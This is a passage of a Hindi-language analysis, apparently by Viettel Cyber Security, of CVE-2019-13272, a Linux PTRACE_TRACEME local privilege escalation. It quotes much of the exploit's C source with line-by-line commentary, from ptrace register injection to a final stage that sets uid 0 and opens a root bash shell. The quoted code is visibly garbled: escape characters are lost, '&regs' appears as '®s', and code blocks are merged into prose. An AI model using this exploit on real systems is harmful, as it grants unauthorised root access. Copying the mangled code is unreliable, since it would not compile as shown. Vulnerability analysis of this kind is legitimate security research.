99 puts("executing passwd");
100 execl("/usr/bin/passwd", "passwd", NULL);
101 err(1, "execl passwd");
102 }
103
104 SAFE(dup2(self_fd, 0));
105 SAFE(dup2(block_pipe[1], 1));
106
107 struct passwd *pw = getpwuid(getuid());
108 if (pw == NULL) err(1, "getpwuid");
109
110 middle_success = 1;
111 execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112 middle_success = 0;
113 err(1, "execl pkexec");
114 }
पंक्ति 70, fork फ़ंक्शन को कॉल करके एक grandchild process (task C) बनाया जाता है।
फिर, पंक्ति 111 पर, task B विशेषाधिकार बढ़ाने के लिए fakepkexec चलाता है और फिर विशेषाधिकार घटाता है।
इसके बाद, पंक्ति 76 से 84 को देखें, जब task C को पता चलता है कि task B का euid 0 हो गया है, तो यह पंक्ति 91 को निष्पादित करता है ताकि root का ptracer_cred प्राप्त करने के लिए PTRACE_TRACEME ऑपरेशन कर सके, और फिर तुरंत executel चलाकर suid binary को निष्पादित करता है ताकि इसका euid 0 हो जाए।``` c 190 /* 191 * wait for our child to go through both execve() calls (first pkexec, then 192 * the executable permitted by polkit policy). 193 */ 194 while (1) { 195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 196 char buf[16]; 197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 198 buf[buflen] = ''; 199 strchrnul(buf, 'n') = ''; 200 if (strncmp(buf, basename(helper_path), 15) == 0) 201 break; 202 usleep(100000); 203 } 204 205 / 206 * our child should have gone through both the privileged execve() and the 207 * following execve() here 208 */ 209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 210 SAFE(waitpid(midpid, &dummy_status, 0)); 211 fputs("attached to midpidn", stderr); 212 213 force_exec_and_wait(midpid, 0, "stage2"); 214 return 0;
आगे, task A के main फ़ंक्शन पर लौटते हुए, पंक्ति 194 से 202 तक, task A जाँचता है कि task B की comm फ़ाइल helper बन चुकी है या नहीं, यदि हाँ, तो यह पंक्ति 213 चलाकर force_exec_and_wait फ़ंक्शन को निष्पादित करेगा।``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117 struct user_regs_struct regs;
118 struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
119 SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120 SAFE(waitpid(pid, &dummy_status, 0));
121 SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122
123 /* set up indirect arguments */
124 unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125 struct injected_page {
126 unsigned long argv[2];
127 unsigned long envv[1];
128 char arg0[8];
129 char path[1];
130 } ipage = {
131 .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132 };
133 strcpy(ipage.arg0, arg0);
134 for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135 unsigned long pdata = ((unsigned long *)&ipage)[i];
136 SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137 (void*)pdata));
138 }
139
140 /* execveat(exec_fd, path, argv, envv, flags) */
141 regs.orig_rax = __NR_execveat;
142 regs.rdi = exec_fd;
143 regs.rsi = scratch_area + offsetof(struct injected_page, path);
144 regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145 regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146 regs.r8 = AT_EMPTY_PATH;
147
148 SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149 SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150 SAFE(waitpid(pid, &dummy_status, 0));
151 }
force_exec_and_wait का कार्य है ptrace का उपयोग करके tracee को नियंत्रित करना, ताकि वह execveat फ़ंक्शन निष्पादित करके process के image को प्रतिस्थापित कर सके, यहाँ यह task B को task A की process (अर्थात exploit का निष्पादन योग्य प्रोग्राम - binary exploit फ़ाइल) को stage2 पैरामीटर के साथ निष्पादित करने हेतु नियंत्रित करता है, ताकि task B middle_stage2 फ़ंक्शन निष्पादित करे।``` c 167 int main(int argc, char **argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell();
middle_stage2 फ़ंक्शन भी force_exec_and_wait को कॉल करता है, जिससे task B, task C को नियंत्रित करने के लिए ptrace का उपयोग करके execveat फ़ंक्शन को निष्पादित करता है, task C की image को exploit के बाइनरी फ़ाइल से प्रतिस्थापित करता है और पैरामीटर stage3 होता है।``` c
153 static int middle_stage2(void) {
154 /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155 pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156 force_exec_and_wait(child, 42, "stage3");
157 return 0;
158 }
जब binary exploit फ़ाइल को stage3 पैरामीटर के साथ चलाया जाता है, यह spawn_shell फ़ंक्शन चलाएगा, इसलिए task C का अंतिम चरण spawn_shell चलाना है।``` c 160 static int spawn_shell(void) { 161 SAFE(setresgid(0, 0, 0)); 162 SAFE(setresuid(0, 0, 0)); 163 execlp("bash", "bash", NULL); 164 err(1, "execlp"); 165 }
`spawn_shell` फ़ंक्शन में, सबसे पहले यह process के real uid/effective uid/save uid को root में बदलने के लिए `setresgid`/`setresuid` का उपयोग करता है। चूँकि task C ने अभी-अभी suid binary निष्पादित की है और अपने स्वयं के euid को root में बदल लिया है, इसलिए यहाँ `setresuid`/`setresgid` सफलतापूर्वक निष्पादित हो सकते हैं। इस समय, task C पूर्ण रूप से root process बन चुका है। अंत में, एक shell खोलने के लिए `execlp` निष्पादित किया जाता है, और इस shell के पास root के सभी विशेषाधिकार होंगे।``` go
forks forks
+------proc_A -----------> proc_B ------------> proc_C
| | | |
| Wait B | |
| And attach | |
| Execve stage 2 in B | |
+-------+-------------------+--------------------+
stage 1 | pkexec get privileged tracer
| | | |
| | | |
| | Unprivileged exec SUID binary,
| | Traced by A become privileged, SIGTRAPed
+-------+-------------------+--------------------+
| | | |
stage 2 | Wait C, |
| | Execve stage3 in C |
| | | |
+-------+-------------------+--------------------+
| | | |
| | | |
stage 3 | | setresuid to 0, 0, 0
| | | |
| | | exeve bash as root :)
+-------+-------------------+--------------------+
https://www.anquanke.com/post/id/193863#h2-3 https://jm33.me/cve-2019-13272-linux-lpe-via-ptrace_traceme.html
DatntSec. Viettel Cyber Security.